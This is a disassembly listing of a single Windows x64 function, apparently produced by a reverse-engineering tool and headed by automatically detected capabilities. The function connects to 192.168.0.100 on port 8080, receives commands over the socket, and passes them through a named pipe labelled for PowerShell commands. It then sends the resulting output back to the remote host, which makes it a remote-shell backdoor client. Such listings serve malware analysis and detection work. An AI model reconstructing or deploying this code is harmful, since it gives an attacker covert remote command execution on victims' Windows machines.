Function at 0x140001180
Capabilities:
Connect socket
Download and write a file
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xa170]
mov eax, 0xa270
call fcn.1400029b0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xa160], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov ecx, 0x20
call fcn.140001c30
mov qword [rsp + 0x40], rax
movdqa xmm0, xmmword [0x140003580]
movdqu xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [str.192.168.0.100]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140003440]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140003448]
mov word [rax + 0x18], cx
xor esi, esi
mov word [rax + 0x1a], si
mov ecx, 0x202
lea rdx, [rbp - 0x80]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000128f
lea rdx, str.WSAStartup_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001740
mov rcx, rax
lea rdx, [0x140001920]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140001285
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001280
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000159b
call fcn.140001c6c
mov eax, 1
jmp 0x14000162c
xor r8d, r8d
mov edx, 1
mov edi, 2
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400012db
lea rdx, str.Socket_creation_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001740
mov rcx, rax
lea rdx, [0x140001920]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001243
mov word [rsp + 0x68], di
mov ecx, 0x1f90
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x6a], ax
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rdx, qword [rsp + 0x40]
lea r8, [rsp + 0x6c]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_InetPtonW]
test eax, eax
jg 0x140001349
lea rdx, str.Invalid_IP_address
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001740
mov rcx, rax
lea rdx, [0x140001920]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001243
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x14000136a
lea rdx, str.connection_failed
jmp 0x140001319
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x120]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
js 0x140001546
nop dword [rax + rax]
mov eax, eax
cmp rax, 0x400
jae 0x140001654
mov byte [rbp + rax + 0x120], 0
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..pipePowerShellCommand
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400015a2
lea rdx, str.COnnected_success
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001740
mov rcx, rax
lea rdx, [0x140001920]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0x120]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140001440
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x64]
lea rdx, [rbp + 0x120]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop dword [rax]
nop dword [rax + rax]
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x60]
mov r8d, 0x9c3f
lea rdx, [rbp + 0x520]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r8d, dword [rsp + 0x60]
cmp r8, 0x9c40
jae 0x140001654
mov byte [rbp + r8 + 0x520], 0
test eax, eax
je 0x1400014e5
test r8d, r8d
je 0x1400014d5
xor r9d, r9d
lea rdx, [rbp + 0x520]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140001470
lea rdx, str.Failed_to_send_data_to_socket
jmp 0x1400014ec
lea rdx, str.End_of_stream_reached.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x1400014f3
lea rdx, str.ReadFile_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001740
lea rdx, [0x140001920]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x120]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jns 0x1400013c0
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x14000162a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001625
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001625
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Failed_to_connect_to_named_pipe.Error
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001740
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001920]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140001285
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001280
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001280
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c6c
xor eax, eax
mov rcx, qword [rbp + 0xa160]
xor rcx, rsp
call fcn.140001970
lea r11, [rsp + 0xa270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.140001a98
nop
int3